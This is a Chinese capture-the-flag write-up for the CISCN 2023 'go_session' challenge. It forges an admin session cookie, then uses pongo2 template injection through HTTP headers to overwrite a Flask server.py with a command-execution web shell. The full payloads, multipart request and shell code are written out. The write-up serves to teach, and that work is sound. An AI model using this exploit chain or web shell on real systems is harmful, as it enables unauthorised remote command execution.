2023CISCN go_session

今天来做一道国赛题练习一下,环境用的是ctfshow

打开题目后显示Hello, guest

下载附件进行分析,可以看到有三个文件

main.go可以看到有三个路由

然后route.go代码如下

go 复制代码
package route

import (
	"github.com/flosch/pongo2/v6"
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"html"
	"io"
	"net/http"
	"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

其中NewCookieStore([]byte(os.Getenv("SESSION_KEY")))表示从环境变量中获取SESSION_KEY并转化为字节切片,然后将其作为session的密钥进行签名认证

函数Index设置session默认权限为guestAdmin则校验是否是admin权限,满足的话则可以传参进行ssti;Flask则表示访问http://127.0.0.1:5000/并加上用户传递的参数

了解完题目情况后就可以开始做题,首先是解决权限问题,因为不知道题目环境变量中SESSION_KEY的值是什么,我们可以猜测它的值为空,在本地修改文件运行伪造session即可

修改Index函数如下

go 复制代码
func Index(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
       http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
       return
    }
    // 改为如果不为admin,就设置为admin
    if session.Values["name"] != "admin" {
       session.Values["name"] = "admin"
       err = session.Save(c.Request, c.Writer)
       if err != nil {
          http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
          return
       }
    }

    c.String(200, "Hello, admin")
}

本地运行,然后获取session值

复制到题目环境里覆盖掉原有的cookie,然后访问/admin

可以正常访问,也就是成功获取了admin权限

在Admin函数里面可以看到用的是pongo2模板,/admin传参?name={``{pongo2.version}},可以看到回显版本号

但是题目里有xssWaf := html.EscapeString(name),跟进EscapeString函数

可以看到会将特殊字符进行html实体编码,就导致我们常规的ssti打法不能用,例如{``{include "/etc/passwd"}},需要想办法绕过这个waf

继续分析,Flask函数可以访问http://127.0.0.1:5000/并加上用户传递的参数,然后name的默认值为guest,初步尝试,发现name传值为空时,会导致页面错误

但是网页并没有渲染,这样看着不方便,可以复制下来本地保存为html,然后再打开就可以正常分析了

可以看到报的是400错误,也就是缺少name参数,继续分析,在下面可以看到/app/server.py的源码

这里设置了debug=True,也就意味着开启了热加载功能,修改文件代码后直接刷新页面就能看到效果,无需重启进程;同时还会显示traceback 的调试页面,也就是我们上面看到的页面。可以说这个就是关键突破口

然后我们可以利用admin路由里的ssti漏洞,想办法污染这个server.py即可

分析Admin函数可以看到,这里将gin.Context对象c注入到pongo2模板的上下文变量中,键名为"c",相当于我们可以通过c对象调用gin.Context的方法

gin.Context如何进一步利用,我们跟进代码看看

可以看到,Context结构体中有一个名为Request的字段,类型为指向http.Request的指针,用来保存当前HTTP请求对象。继续跟进Request看看

Request里面定义了很多函数,例如UserAgent()函数我们就可以拿来传值,这样就可以绕过前面对双引号的限制了

go 复制代码
c.Request.UserAgent()

同样的,还有很多方法可以用于传值,自由选择就可以

双引号的问题解决了,但是我们如何重写server.py还没解决,继续分析Context结构体,发现有个函数SaveUploadedFile可以将文件上传到指定位置

但我们不知道该函数能否把已经存在的文件给覆盖掉,里面有个os.Create函数,我们查阅官方文档可以看到https://pkg.go.dev/os#Create

如果目标文件已经存在,则会把文件截断为长度0,相当于清空内容,然后再通过后面的io.Copy函数把内容上传上去。这样我们的问题就解决了

SaveUploadedFile函数要求上传的第一个参数为multipart.FileHeader对象,刚好我们在前面看到FormFile函数的第一个返回值就为这个,第二个返回值error会被Pongo2模板引擎自动处理不用管,那我们用FormFile函数来获取该对象就可以

构造payload如下

复制代码
/admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}}

我们需要用表单形式来提交恶意代码内容,这里需要手动进行构造,然后我这里用User-Agentreferer来传值,当然你也可以用其他的http头,找到对应的函数即可

复制代码
User-Agent: a
referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykLBmWN7oHI3H0bOS

------WebKitFormBoundarykLBmWN7oHI3H0bOS
Content-Disposition: form-data; name="a"; filename="server.py"

from flask import *
import os

app = Flask(__name__)
@app.route('/')
def index():
    name = request.args['cmd']
    cmd = os.popen(name).read()
    return cmd

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True)

------WebKitFormBoundarykLBmWN7oHI3H0bOS--

发包,显示Hello !表示成功

最后回到网页访问/flask执行命令即可,需要注意的是,name参数只是用来传参,我们要传入cmd参数才可以执行命令

payload如下,看着有点别扭,但确实是这样写

复制代码
/flask?name=?cmd=ls${IFS}/

最后读取th1s_1s_f13g即可

相关推荐
unable code14 小时前
磁盘取证-Flying_High
网络安全·ctf·misc·1024程序员节·磁盘取证
浩浩测试一下14 小时前
DDOS 应急响应Linux防火墙 Iptable 使用方式方法
linux·网络·安全·web安全·网络安全·系统安全·ddos
金庆15 小时前
Commit Hash from debug.ReadBuildInfo()
golang
浩浩测试一下15 小时前
洪水猛兽攻击 Ddos Dos cc Drdos floods区别
安全·web安全·网络安全·系统安全·wpf·可信计算技术·安全架构
Whoami!15 小时前
⓫⁄₈ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 滥用Windows服务提权(下)
windows·网络安全·信息安全·powerup.ps1
源代码•宸16 小时前
Golang面试题库(sync.Map)
开发语言·后端·面试·golang·map·sync.map·expunged
终生成长者16 小时前
Golang cursorrule
开发语言·后端·golang
席万里17 小时前
基于Go和Vue快速开发的博客系统-快速上手Gin框架
vue.js·golang·gin
安徽必海微马春梅_6688A17 小时前
A实验:小动物无创血压系统 小动物无创血压分析系统 资料。
大数据·人工智能·网络安全·硬件工程·信号处理
源代码•宸17 小时前
Golang面试题库(Map)
后端·面试·golang·map·bmap·hmap·nevacuate